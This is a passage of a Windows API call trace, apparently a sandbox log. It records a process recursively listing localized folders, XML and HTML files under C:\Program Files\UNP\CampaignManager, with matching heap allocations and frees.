	[0157.104] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a9c3f1, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93a9c3f1, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x219, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0157.105] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a9c3f1, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93a9c3f1, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x219, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0157.105] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0157.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0157.106] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c62177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x949a9132, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi-VN", cAlternateFileName="")) returned 1
	[0157.106] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0157.106] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN") returned 100
	[0157.106] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c62177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x949a9132, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd840
	[0157.516] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c62177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x949a9132, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.516] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93b5b0aa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0157.517] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93b81242, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93b81242, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x71249d00, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0157.517] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93b81242, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93b81242, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0157.517] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0157.518] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0157.518] FindClose (in: hFindFile=0x5dd840 | out: hFindFile=0x5dd840) returned 1
	[0157.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0157.518] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c9dee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94c57ba9, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0157.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0157.519] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN") returned 100
	[0157.519] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c9dee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94c57ba9, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0157.526] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c9dee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94c57ba9, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.526] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x8e1c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0157.527] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x221, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0157.527] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0157.527] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0157.527] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0157.527] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0157.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0157.528] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db6dd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1
	[0157.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0157.528] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK") returned 100
	[0157.528] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db6dd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde40
	[0157.533] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db6dd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.533] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x8fbd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0157.533] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0157.533] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0157.534] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0157.534] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0157.534] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0157.537] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0157.537] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0157.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0157.538] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW") returned 100
	[0157.538] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0157.550] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.550] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x8fbd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0157.550] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0157.550] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0157.551] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0157.551] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0157.551] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0157.552] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0157.552] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0157.552] FindClose (in: hFindFile=0x5dd4c0 | out: hFindFile=0x5dd4c0) returned 1
	[0157.552] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b4050 | out: hHeap=0x4f0000) returned 1
	[0157.552] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x89d8d47d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x455c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Detector_131491847713900000.xml", cAlternateFileName="DETECT~1.XML")) returned 1
	[0157.552] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x89d8d47d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x455c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Detector_131491847713900000.xml", cAlternateFileName="DETECT~1.XML")) returned 0
	[0157.553] FindClose (in: hFindFile=0x5dd480 | out: hFindFile=0x5dd480) returned 1
	[0157.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0157.558] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa755519f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91be532c-f9f1-406a-9858-43697c6f437a}", cAlternateFileName="{91BE5~1")) returned 0
	[0157.558] FindClose (in: hFindFile=0x5dd180 | out: hFindFile=0x5dd180) returned 1
	[0157.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0157.558] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa74805fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Campaigns", cAlternateFileName="CAMPAI~1")) returned 0
	[0157.558] FindClose (in: hFindFile=0x5dd240 | out: hFindFile=0x5dd240) returned 1
	[0157.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0157.558] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c52ff94, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x85d6c68a, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x85d6c68a, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1
	[0157.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0157.558] lstrlenW (lpString="C:\\Program Files\\UNP\\Logs") returned 25
